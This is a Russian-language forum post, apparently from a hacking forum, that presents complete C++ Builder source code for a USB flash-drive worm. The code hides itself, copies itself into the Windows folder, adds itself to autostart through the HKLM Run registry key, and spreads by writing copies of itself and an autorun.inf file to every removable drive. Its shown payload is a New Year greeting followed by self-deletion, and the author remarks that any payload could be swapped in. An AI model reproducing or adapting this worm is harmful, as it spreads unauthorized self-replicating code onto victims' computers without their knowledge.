USB Flash вирус С++

CLAY
Оффлайн
Регистрация
25.01.17
Сообщения
763
Реакции
225
Репутация
292
Суть такая: Вирус распространяется с одного компа на другие через флеш носители. Затем закрепившись в системе уже начинает свою деятельность., в нашем примере неожиданно поздравляет с новым годом.



Алгоритм состоит из 3-х основных задач:

1. Освоение на новом месте. Копируемся в систему, прописываемся в автозагрузку, и скрываемся.

2. Заражение новых флешек. Выполняем поиск подключённых к компу флешек, копируемся на них., атакже создаём autorun.inf для осуществления автозапуска. Затем делаем файл вируса скрытым, и меняем дату его создания. Таким образом флешка начинает без ведома владельца распространять наши копии.

3. Этот модуль периодически проверяет системную дату, чтобы определить когда стоит вывести поздравление с новым годом. Атакже вывод этого поздравления, и функция самоуничтожения.

4. Конечно можно воплотить здесь любые идеи в плане 25 кадра, захвата планеты, и прочее... но в данной статье это не рассматривается

Код:
[/COLOR]Реализация: #include <vcl.h>

#pragma hdrstop

#include<iostream.h>

#include <registry.hpp>

#include<DateUtils.hpp>



#include "Unit1.h"

//---------------------------------------------------------------------------

#pragma package(smart_init)

#pragma resource "*.dfm"

TForm1 *Form1;

//---------------------------------------------------------------------------

__fastcall TForm1::TForm1(TComponent* Owner)

: TForm(Owner)

{

}

//---------------------------------------------------------------------------



void __fastcall TForm1::FormCreate(TObject *Sender)

{

Application->ShowMainForm=false; //прячимся



// Осваеваемся в новой системе

if(ParamStr(0)!="C:\\WINDOWS\\WebKill_USB_Flash_V. exe") {

//скопируемся

CopyFile(ParamStr(0).c_str(),"C:\\WINDOWS\\WebKill _USB_Flash_V.exe",true);

//и пропишимся в автозагрузку:

TRegistry *reg=new TRegistry;

reg->RootKey=HKEY_LOCAL_MACHINE;

reg->OpenKey("Software\\Microsoft\\Windows\\CurrentVer sion\\Run", false);

reg->WriteString("SystemX" , "C:\\WINDOWS\\WebKill_USB_Flash_V.exe");

reg->CloseKey();

reg->Free();

}







}



//---------------------------------------------------------------------------



void __fastcall TForm1::Timer1Timer(TObject *Sender)

{ // Будим заражать подключаемые к компу устройства



try {

FILE *F;

DWORD Number, FileLength, VolFlags;

char Drives[255],Buf[256];

char SystemName[127];

char *xxx;

AnsiString S;

int i ;

PChar P ;



RichEdit1->Clear();

if (GetLogicalDriveStrings(256,Drives) > 256) exit; // получаем списко дисков без ошибок

P = Drives;

while (*P != 0) // цикл по дискам

{

i = GetDriveType(P);//определение типа



if(i==DRIVE_REMOVABLE && AnsiString(P)!="A:\\") { // только если сьёмный выполним:



S=AnsiString(P)+"1v.exe";//подбор имени

RichEdit1->Lines->Add(S);



CopyFile(ParamStr(0).c_str(),S.c_str(),true); // копирование





S=AnsiString(P)+"autorun.inf"; //подготовим авторан



F = fopen(S.c_str(),"w+"); //открываем файл

if(F)

{

fprintf(F, "[autorun]\n"); // создаём загрузочную запись

fprintf(F, "open=1v.exe\n");

fprintf(F, "shell=Открыть\n");



fclose(F);

}

}

/*

else

{

ShowMessage(String("Cannot open file \"") + S + "\"");

}

*/



P = P + 4; // шаг к следующему носителю



}







}

catch ( ... )

{

//ShowMessage("error");

}



}

//---------------------------------------------------------------------------

void __fastcall TForm1::Timer2Timer(TObject *Sender)

{

if(DateToStr(Now())=="03.11.2009") {



// Поздравляем юзера с Новым годом

Application->ShowMainForm=true;

Form1->Visible=true;



Form1->Top=(Screen->Height/2)-(Form1->Height/2);

Form1->Left=(Screen->Width/2)-(Form1->Width/2);





int h;

AnsiString mes;

int wt,ht;

int x,y;

h = HourOf(Now());

if (h<=5) mes="Доброй ночи";

else if (h<12) mes="Доброе утро";

else if (h<=17) mes="Добрый день";

else mes="Добрый вечер";



Canvas->Brush->Style=bsClear;



Canvas->Font->Size= 21;

Canvas->Font->Color=clRed;



char c[256];

DWORD sizec =256;

GetUserName(c, &sizec);





Canvas->TextOutA(10,20,mes+" "+c+",");





Canvas->Font->Size= 27;

Canvas->TextOutA(100,230,"С Новым Годом!");



Canvas->Font->Size=11;

Canvas->TextOutA(300,530,DateToStr(Now())+" WebKill");







//Всего раз

Timer2->Enabled=false;

// и уходим с компа

TRegistry *reg=new TRegistry;

reg->RootKey=HKEY_LOCAL_MACHINE;

reg->OpenKey("Software\\Microsoft\\Windows\\CurrentVer sion\\Run", false);

reg->DeleteValue("SystemX");

reg->CloseKey();

reg->Free();



DeleteFile(ParamStr(0));





}



}

//---------------------------------------------------------------------------





void __fastcall TForm1::Image1MouseMove(TObject *Sender, TShiftState Shift,

int X, int Y)

{



int h;

AnsiString mes;

int wt,ht;

int x,y;

h = HourOf(Now());

if (h<=5) mes="Доброй ночи";

else if (h<12) mes="Доброе утро";

else if (h<=17) mes="Добрый день";

else mes="Добрый вечер";



Canvas->Brush->Style=bsClear;



Canvas->Font->Size= 21;

Canvas->Font->Color=clRed;



char c[256];

DWORD sizec =256;

GetUserName(c, &sizec);





Canvas->TextOutA(10,20,mes+" "+c+",");





Canvas->Font->Size= 27;

Canvas->TextOutA(100,230,"С Новым Годом!");



Canvas->Font->Size=11;

Canvas->TextOutA(300,530,DateToStr(Now())+" WebKill");




}[COLOR=#CCCCCC]
 
Сверху Снизу